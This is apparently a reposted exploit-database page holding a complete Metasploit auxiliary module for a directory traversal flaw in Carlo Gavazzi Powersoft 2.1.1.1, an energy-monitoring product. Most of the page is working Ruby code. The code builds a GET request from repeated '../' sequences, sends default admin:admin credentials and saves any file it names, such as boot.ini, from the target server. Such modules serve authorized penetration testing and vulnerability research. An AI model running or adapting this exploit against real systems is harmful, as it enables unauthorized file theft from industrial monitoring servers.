Exploit the possiblities

Carlo Gavazzi Powersoft 2.1.1.1 Directory Traversal

Carlo Gavazzi Powersoft 2.1.1.1 Directory Traversal
Posted Sep 15, 2017
Authored by James Fitts | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability found in Carlo Gavazzi Powersoft versions 2.1.1.1 and below. The vulnerability is triggered when sending a specially crafted GET request to the server. The location parameter of the GET request is not sanitized and the sendCommand.php script will automatically pull down any file requested

tags | exploit, php, file inclusion
MD5 | 7ead626f719b2712cc6f6e65a79e2c9f

Carlo Gavazzi Powersoft 2.1.1.1 Directory Traversal

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require 'msf/core'

class MetasploitModule < Msf::Auxiliary
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Carlo Gavazzi Powersoft Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability
found in Carlo Gavazzi Powersoft <= 2.1.1.1. The vulnerability
is triggered when sending a specially crafted GET request to the
server. The location parameter of the GET request is not sanitized
and the sendCommand.php script will automatically pull down any
file requested
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://gleg.net/agora_scada_upd.shtml']
],
'DisclosureDate' => 'Jan 21 2015'))

register_options(
[
OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 8]),
OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'admin']),
Opt::RPORT(80)
], self.class )
end

def run

require 'base64'

credentials = Base64.encode64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}")

depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
levels = "/" + ("../" * depth)

res = send_request_raw({
'method' => 'GET',
'uri' => "#{levels}#{datastore['FILE']}?res=&valid=true",
'headers' => {
'Authorization' => "Basic #{credentials}"
},
})

if res and res.code == 200
loot = res.body
if not loot or loot.empty?
print_status("File from #{rhost}:#{rport} is empty...")
return
end
file = ::File.basename(datastore['FILE'])
path = store_loot('carlo.gavazzi.powersoft.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
print_status("Stored #{datastore['FILE']} to #{path}")
return
end

end
end

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